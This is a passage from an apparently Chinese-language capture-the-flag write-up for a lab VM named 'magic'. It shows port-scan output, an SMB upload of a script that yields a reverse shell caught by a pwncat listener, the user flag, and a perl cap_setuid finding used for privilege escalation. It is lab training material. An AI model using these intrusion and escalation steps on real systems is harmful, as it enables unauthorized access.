4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.961 seconds (130.55 hosts/sec). 4 responded ❯ export ip=192.168.60.140 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Open ports, closed hearts. [~] The config file is expected to be at "/home/ctf/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.140:22 Open 192.168.60.140:80 Open 192.168.60.140:139 Open 192.168.60.140:445 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-06 16:24 CST Initiating ARP Ping Scan at 16:24 Scanning 192.168.60.140 [1 port] Completed ARP Ping Scan at 16:24, 0.10s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 16:24 Completed Parallel DNS resolution of 1 host. at 16:24, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 16:24 Scanning 192.168.60.140 [4 ports] Discovered open port 139/tcp on 192.168.60.140 Discovered open port 445/tcp on 192.168.60.140 Discovered open port 22/tcp on 192.168.60.140 Discovered open port 80/tcp on 192.168.60.140 Completed SYN Stealth Scan at 16:24, 0.03s elapsed (4 total ports) Nmap scan report for 192.168.60.140 Host is up, received arp-response (0.00049s latency). Scanned at 2025-01-06 16:24:54 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 139/tcp open netbios-ssn syn-ack ttl 64 445/tcp open microsoft-ds syn-ack ttl 64 MAC Address: 08:00:27:46:E5:2E (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds Raw packets sent: 5 (204B) | Rcvd: 5 (204B)
❯ smbclient -U xerosec //$ip/tmp Password for [WORKGROUP\xerosec]: Try "help" to get a list of possible commands. smb: \> dir . D 0 Mon Jan 6 19:49:11 2025 .. D 0 Thu Jan 2 21:06:27 2025 .font-unix DH 0 Mon Jan 6 19:49:08 2025 .ICE-unix DH 0 Mon Jan 6 19:49:08 2025 .X11-unix DH 0 Mon Jan 6 19:49:08 2025 .XIM-unix DH 0 Mon Jan 6 19:49:08 2025 systemd-private-1c2ec0fc98bb47d59d82b7d86a17396c-systemd-logind.service-WyQhcg D 0 Mon Jan 6 19:49:09 2025
19480400 blocks of size 1024. 16510872 blocks available smb: \> put
用户提权
果不其然，那我们创建一下config.sh的魔术脚本
传上去的一瞬间会卡住
另一边监听端口即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
❯ vim config.sh ❯ smbclient -U xerosec //$ip/tmp Password for [WORKGROUP\xerosec]: Try "help" to get a list of possible commands. smb: \> put config.sh -----------分隔-------- ❯ pwncat-cs -lp 4444 [20:35:50] Welcome to pwncat 🐈! __main__.py:164 [20:36:00] received connection from 192.168.60.140:46142 bind.py:84 [20:36:00] 192.168.60.140:46142: registered new host w/ db manager.py:957 (local) pwncat$ (remote) xerosec@magic:/tmp$ id uid=1000(xerosec) gid=1000(xerosec) grupos=1000(xerosec) (remote) xerosec@magic:/tmp$ cd ~ (remote) xerosec@magic:/home/xerosec$ ls user.txt (remote) xerosec@magic:/home/xerosec$ cat user.txt d14885ecd144685ad228d66e275d715e
Root提权
发现这个用户又sudo权限，不过这个id尼玛怎么提权啊⁉️
他只能打印用户的id组id之类的，这是个陷阱
再次收集信息
可以看到perl有setuid的能力
1 2 3 4 5 6 7 8 9 10 11
(remote) xerosec@magic:/home/xerosec$ sudo -l Matching Defaults entries for xerosec on magic: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User xerosec may run the following commands on magic: (root) NOPASSWD: /usr/bin/id (remote) xerosec@magic:/home/xerosec$ getcap -r / /usr/bin/perl5.36.0 cap_setuid=ep /usr/bin/ping cap_net_raw=ep /usr/bin/perl cap_setuid=ep
